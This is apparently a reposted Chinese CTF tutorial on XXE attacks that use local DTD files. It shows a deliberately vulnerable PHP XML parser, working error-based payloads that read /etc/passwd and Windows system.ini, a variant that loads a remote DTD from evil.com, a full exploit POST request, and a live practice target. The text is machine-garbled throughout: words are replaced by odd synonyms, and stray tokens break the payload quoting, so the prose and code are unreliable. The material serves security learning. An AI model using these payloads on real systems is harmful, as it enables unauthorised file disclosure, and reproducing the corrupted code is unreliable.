原创投稿活动:http://link.zhihu.com/?target=https%3A//mp.weixin.qq.com/s/Nw2VDyvCpPt_GG5YKTQuUQ
0x00 序言现在题目出XXE一样平常都是考如何获取到XXE所包含文件的数据,即如何把数据透露出来。常用的方法有:引入外部做事器或者外部dtd文件,来实现OOB带外信息传送,如果做事器和你的VPS之间存在防火墙,那数据每每无法带出,这时候可以利用最近的比赛中都喜好考通过本地DTD文件实现XXE攻击,下面就来学习总结一下这种办法。
存在xxe漏洞的文件

<?php libxml_disable_entity_loader (false); $xmlfile = file_get_contents('php://input'); $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); $creds = simplexml_import_dom($dom); echo $creds;?>
在支配的时候须要把稳libxml的版本,在libxml2.9.1某个版本以前parser.c/xmlStringLenDecodeEntities函数存在XML外部实体漏洞,可使高下文独立的攻击者读取任意文件或造成谢绝做事
libxml在2.9.1版本及往后默认禁用外部实体
php --ri libxmllibxmllibXML support => activelibXML Compiled Version => 2.9.9libXML Loaded Version => 20903libXML streams => enabled0x02 正文
在平常的XXE利用办法中,我们常日会加载外部dtd文件来进行利用
要求payload:
<?xml version=\"大众1.0\公众 ?><!DOCTYPE message [ <!ENTITY % ext SYSTEM \"大众http://evil.com/ext.dtd\"大众> %ext;]><message></message>
ext.dtd的内容:
<!ENTITY % file SYSTEM \"大众file:///etc/passwd\"大众><!ENTITY % eval \公众<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>\"大众>%eval;%error;
但是这种办法具有其局限性
第一:存在XXE的做事器与evil.com做事器可能存在某种办法的阻隔,如防火墙。
第二:libxml在2.9.1之后禁用了外部实体
这个时候我们无法通过外部实体的办法来进行XXE的利用。
如果我们直接把DTD部分放入要求payload中
<?xml version=\"大众1.0\"大众 ?><!DOCTYPE message [ <!ENTITY % file SYSTEM \"大众file:///etc/passwd\"大众> <!ENTITY % eval \"大众<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>\"大众> %eval; %error;]><message></message>
将会返回如下缺点:
The parameter entity reference “%file;” cannot occur within markup in the internal subset of the DTD
外部DTD许可我们在一个实体里包含另一个实体,但是在内部DTD中,这种行为是禁止的。
那内部DTD是否可以进行利用呢?
这里先容本文的方法,该方法由Arseniy Sharoglazov在文章
https://mohemiv.com/all/exploiting-xxe-with-local-dtd-files/提出,在今年的比赛中已经涌现多次了。
在内部DTD中利用外部DTD的内容,只须要在目标主机上逼迫实行本地DTD文件,并在个中重新定义一些参数实体引用
这个方法只须要知道本地DTD文件的路径,并且在该DTD中定义了实体变量并且进行了引用。
比如在ubuntu16.04中,我利用全局搜索得到以下的一些原生dtd文件:
//find / name \公众.dtd\公众/usr/share/sgml/metacity-common/metacity-theme.dtd/usr/share/sgml/dtd/xml-core/catalog.dtd/usr/share/sgml/gconf/gconf-1.0.dtd/usr/share/gdb/syscalls/gdb-syscalls.dtd/usr/share/djvu/pubtext/DjVuOCR.dtd/usr/share/djvu/pubtext/DjVuMessages.dtd/usr/share/djvu/pubtext/DjVuXML-s.dtd/usr/share/avahi/avahi-service.dtd/usr/share/glib-2.0/schemas/gschema.dtd/usr/share/X11/xkb/rules/xkb.dtd/usr/share/doc/libxml-parser-perl/examples/ctest.dtd/usr/share/xml/schema/xml-core/tr9401.dtd/usr/share/xml/schema/xml-core/catalog.dtd/usr/share/gtksourceview-3.0/language-specs/language.dtd/usr/share/yelp/dtd/docbookx.dtd/usr/share/mobile-broadband-provider-info/serviceproviders.2.dtd/usr/share/libgweather/locations.dtd/opt/IBM/WebSphere/AppServer/properties/sip-app_1_0.dtd。。。。。。。。。。。。
然后我须要在这些dtd中找到符合我的哀求的dtd,比如在这里的
/opt/IBM/WebSphere/AppServer/properties/sip-app_1_0.dtd和/usr/share/libgweather/locations.dtd和/usr/share/yelp/dtd/docbookx.dtd
都是符合哀求的,这里利用sip-app_1_0.dtd为例
其紧张内容如下
<!ENTITY % condition \"大众and | or | not | equal | contains | exists | subdomain-of\"大众> <!ELEMENT pattern (%condition;)>
我们的payload按照如下布局:
<?xml version=\"大众1.0\"大众 ?><!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM \"大众file:///opt/IBM/WebSphere/AppServer/properties/sip-app_1_0.dtd\公众> <!ENTITY % condition 'aaa)> <!ENTITY % file SYSTEM \"大众file:///etc/passwd\"大众> <!ENTITY % eval \"大众<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>\"大众> %eval; %error; <!ELEMENT aa (bb'> %local_dtd;]>
个中
<!ENTITY % local_dtd SYSTEM \"大众file:///opt/IBM/WebSphere/AppServer/properties/sip-app_1_0.dtd\公众>
为逼迫实行本地DTD文件,一开始我看到payload中的
<!ENTITY % condition 'aaa)>。。。<!ELEMENT aa (bb'>
以为很奇怪,这是什么写法,后来对应着dtd的内容来看,创造,这里是相称于做了一个闭合,可以按sql注入那种办法去理解这里的xxe,由于
<!ELEMENT pattern (%condition;)>
对condition实体进行了引用,以是会把condition内容更换进来
而我们在逼迫实行本地DTD文件往后,是可以重新定义该文件中的一些参数实体引用的,当我们重新定义了该参数实体时,就可以布局而已的payload使得其更换后符合xml的语法,并正常实行我们的xxe的payload。
写到这,可能很多同学已经明白了,这种方法的关键在于怎么探求本地DTD以及如何闭合。
很多Linux系统会自带DTD文件,比如Ubuntu、CentOS、Arch,其余还有openjdk的docker容器中也有少量的DTD文件。Windows中也有DTD文件,在Windows中有两个DTD文件一样平常都会存在
C:/Windows/System32/wbem/xml/cim20.dtdC:/Windows/System32/wbem/xml/wmi20.dtd
其主要内容为:
<!ENTITY % CIMName \"大众NAME CDATA #REQUIRED\"大众>.....<!ENTITY % SuperClass \"大众SUPERCLASS CDATA #IMPLIED\"大众>.....<!ATTLIST QUALIFIER.DECLARATION %CIMName; %CIMType; #REQUIRED ISARRAY (true|false) #IMPLIED %ArraySize; %QualifierFlavor;>.....<!ATTLIST CLASS %CIMName; %SuperClass;>
post包,如果利用SuperClass实体进行注入,payload如下
POST /test2.php HTTP/1.1Host: localhostAccept-Encoding: gzip, deflateAccept: /Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 447<?xml version=\"大众1.0\公众 ?><!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM \"大众file:///C:/Windows/System32/wbem/xml/cim20.dtd\公众> <!ENTITY % SuperClass '> <!ENTITY % file SYSTEM \公众file:///c:/windows/system.ini\公众> <!ENTITY % eval \公众<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>\公众> %eval; %error; '> %local_dtd;]><message>any text</message>
这里大家可以自己考试测验考试测验利用其他实体注入时该怎么闭合?这也是挺有趣的。
这样就可以在报错中得到读取的文件内容了。
0x03 题目练习这个技巧在Google CTF 2019 bnv中以及OPPO OGeek CTF 2019里面都考了,OPPO的环境还开着,可以利用它来练手,题目提示了做事器利用tomcat8.5,这时候可以在docker中拉取相应的镜像,并全局搜索对应的dtd文件进行利用。
题目传送门:
http://47.107.253.140:18080/webserver/
0x04 参考https://mohemiv.com/all/exploiting-xxe-with-local-dtd-files/
https://xz.aliyun.com/t/3357
XXE干系的学习可以到合天网安实验室操作实验——XXE漏洞攻击与防御课程:http://www.hetianlab.com/cour.do?w=1&c=CCIDc75d-d37a-42d4-878b-6f130c004ad2
声明:笔者初衷用于分享与遍及网络知识,若读者因此作出任何危害网络安全行为后果自大,与合天智汇及原作者无关!